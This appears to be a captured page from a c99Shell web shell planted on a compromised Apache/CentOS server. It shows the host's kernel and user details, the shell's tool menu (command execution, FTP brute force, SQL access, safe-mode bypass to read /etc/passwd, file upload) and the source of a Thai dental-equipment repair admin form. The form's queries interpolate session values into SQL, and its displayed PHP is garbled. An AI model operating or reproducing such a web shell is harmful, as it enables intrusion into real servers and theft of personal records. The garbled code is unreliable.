!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Service/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Addservice.php (11.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
 
$Username $valid_user;
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
$strSQL "SELECT * FROM accessories_tb  GROUP By Faculty_code";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
<!--
.style1 {    color: #0000FF;
    font-weight: bold;
}
-->
</style>
<table width="740" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_manage.php" >˹éÒËÅÑ¡</a> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="AddAccName.php">à¾ÔèÁ¢éÍÁÙŤÃØÀѳ±ì</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AccTypeList.php?Teacher_code=<? echo $rss[Teacher_code?>">¢éÍÁÙÅÃÒ¡ÒäÃØÀѳ±ì</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">¢éÍÁÙŤÃØÀѳ±ì˹èǧҹ</font></legend>
            <label><div align="center">
              <form action="InsertMan.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
                <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
                  <tr bgcolor="#CCCCCC" >
                    <td height="25" colspan="3"><div align="center" class="style1"><font size="4" face="Tahoma">à¾ÔèÁ¢éÍÁÙÅ</font></div></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"> Çѹ·Õèá¨é§«èÍÁ </font></div></td>
                    <td>&nbsp;</td>
                    <td><font color="#000000" size="2" face="Tahoma">Çѹ·Õè
                      <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
                            <? getDay1to31();?>
                          </select>
                      à´×͹
                      <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
                        <? getThaiMonth();?>
                      </select>
                      »Õ ¾.È.
                      <input name="mYear" type="text" id="mYear" size="5" class="input">
                    </font> </td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td width="22%" height="20" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ÃÒ¡ÒÃ</font></div></td>
                    <td width="2%"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td width="76%"><font color="#006633" size="2" face="Tahoma">
                      <input name="Acc_code" type="text" id="Acc_code" size="60" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ÃËÑÊ - ÍØ»¡Ã³ì/ÃØè¹</font></div></td>
                    <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td bgcolor="#EEEEEE"><select name="Acc_name " id="Acc_name " class="input1">
                      <?php
             $strSQL1 
"SELECT * FROM  accessories_tb  Where  Faculty_code='07 '   or  Faculty_code='11'  Order  By  Acc_code , Acc_name  ASC";
            
$result1 mysql_query($strSQL1);
                 while( 
$rss mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rss[Acc_name]\" ><b>$rss[Acc_code] &nbsp;$rss[Acc_name]</b></option>\n";
                }
          
?>
                    </select>
                    <font color="#006633" size="2" face="Tahoma">&nbsp; </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">¹Ñ¡ÈÖ¡ÉÒ¼Ùéá¨é§«èÍÁ</font></div></td>
                    <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="Student_id" id="Student_id"  class="input1">
                        <?php
              $strSQL3 
"SELECT * FROM  student_tb  Where   Class ='39' ";
              
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))
                {
                   echo
"<option value=\"$rs3[Student_id]\" ><b> $rs3[Student_id]&nbsp;$rs3[First_name]&nbsp;$rs3[Name]&nbsp; $rs3[Lastname]</b></option>\n";
                }
          
            
?>
                      </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ÍÒ¨ÒÃÂì¼ÙéÃѺ¼Ô´ªÍº</font></div></td>
                    <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="Teacher_code" id="Teacher_code" class="input1">
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Faculty_code='07'  or  Faculty_code='11'  Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                
CloseDB();  
                
          
?>
                      </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"><font size="2">ª¹Ô´ÍØ»¡Ã³ì</font> </font></div></td>
                    <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td><font size="2" face="Tahoma">
                      <input type="radio" name="Status" value="Hand piece" />
                      Hand piece
                      <input type="radio" name="Status" value="X-ray" />
                      X-ray
                      <input type="radio" name="Status" value="Air compressor" />
                      Air compressor
                      <input type="radio" name="Status" value="Dental Chair" />
                      Dental chair
                      <input type="radio" name="Status" value="à¤Ã×èͧ¢Ù´ËÔ¹»Ù¹" />
                      à¤Ã×èͧ¢Ù´ËÔ¹»Ù¹</font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE">&nbsp;</td>
                    <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="#EEEEEE"><font size="2" face="Tahoma">
                      <input type="radio" name="Status" value="à¤Ã×èͧ©ÒÂáʧ " />
                      à¤Ã×èͧ©ÒÂáʧ
                      <input type="radio" name="Status" value="Autocalve " />
                      Autocalve
                      <input type="radio" name="Status" value="à¤Ã×èͧ»Ñè¹ÍÁÑÅ¡ÑéÁ " />
                      à¤Ã×èͧ»Ñè¹ÍÁÑÅ¡ÑéÁ
                      <input type="radio" name="Status" value="Hot air oven" />
                      Hot air oven
                      <input type="radio" name="Status" value="Dental unit" />
                      Dental Unit </font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ʶҹ·ÕèÍØ»¡Ã³ì</font></div></td>
                    <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td bgcolor="#EEEEEE"><input name="Store" type="text" class="input" id="Store" size="50" />                    </td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td><div align="center"><font size="2" face="Tahoma">ÊÒà˵ØÍÒ¡ÒÃ</font></div></td>
                    <td>&nbsp;</td>
                    <td><textarea name="Contact" cols="50" rows="5" id="Contact"></textarea></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE">&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                  </tr>
                  <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                    <td height="101" nowrap="nowrap" bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">ÃÙ»ÀÒ¾</font></div></td>
                    <td bordercolor="#CCCCCC">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#99CCFF"><table width="82%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td width="80%" height="100"><div align="center">
                              <div align="left">
                                <input name="Img1" type="file" id="Img1" onchange="browse()" />
                              </div>
                            <label></label></td>
                          <td width="20%"><div align="center"><img src=" " name="Imag1" width="109" height="94" id="Imag1" /></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#CCCCFF" >
                    <td height="25" colspan="3"><div align="center">
                        <input type="submit" name="Submit" value=" ºÑ¹·Ö¡ " class="button" />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="reset" name="Submit2" value="àÃÔèÁãËÁè" class="button" />
                    </div></td>
                  </tr>
                </table>
                </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b> ãªéàÁÒÊì¤ÅÔ¡·Õèª×èÍ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0144 ]--